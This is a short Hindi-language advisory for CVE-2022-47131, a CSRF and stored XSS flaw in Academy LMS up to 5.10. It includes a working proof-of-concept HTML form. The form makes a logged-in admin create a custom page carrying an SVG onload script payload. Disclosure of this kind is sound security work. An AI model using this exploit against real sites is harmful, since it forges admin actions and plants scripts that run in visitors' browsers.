CVE-2022-47131

Academy LMS <= 5.10 CSRF / XSS

विवरण

Academy LMS एक एप्लिकेशन है जहाँ लोग पाठ्यक्रम बना और विज्ञापित कर सकते हैं। नया पेज जोड़ने की सुविधा CSRF के प्रति संवेदनशील है क्योंकि कोई टोकन नहीं है जो इस हमले को टालने का कारण बनता है। इसके अतिरिक्त, इस पेज का उपयोग संग्रहीत XSS पेलोड लोड करने के लिए किया जा सकता है।

प्रूफ ऑफ कॉन्सेप्ट (POC)

हमारे प्रूफ ऑफ कॉन्सेप्ट का पहला कदम प्रशासनिक उपयोगकर्ता के साथ प्लेटफ़ॉर्म में प्रमाणित करना है।

उसके बाद, उस पेज तक पहुँचें जिसमें भेद्यता का शोषण करने का कोड है, देखें कि वेबसाइट के होम पेज पर एक नया बटन जोड़ा जाएगा, जो xss पेज पर रीडायरेक्ट करेगा।

शोषण में उपयोग किया गया कोड:

<html>
   <body>
   <script>history.pushState('', '', '/')</script>
     <form action="https://target.com/admin/custom_page/add" method="POST">
       <input type="hidden" name="page&#95;title" value="CSRF&#32;XSS" />
       <input type="hidden" name="page&#95;content" value="&quot;&gt;&lt;svg&#32;onload&#61;alert&#40;document&#46;domain&#41;&#59;&gt ;" />
       <input type="hidden" name="files" value="" />
       <input type="hidden" name="button&#95;title" value="CSRF&#32;XSS" />
       <input type="hidden" name="button&#95;position" value="header" />
       <input type="hidden" name="page&#95;url" value="xss" />
       <input type="submit" value="Submit request" />
     </form>
   </body>
</html>

CVE-2022-47131

सबसे लोकप्रिय

CVE-2022-47131

विवरण

प्रूफ ऑफ कॉन्सेप्ट (POC)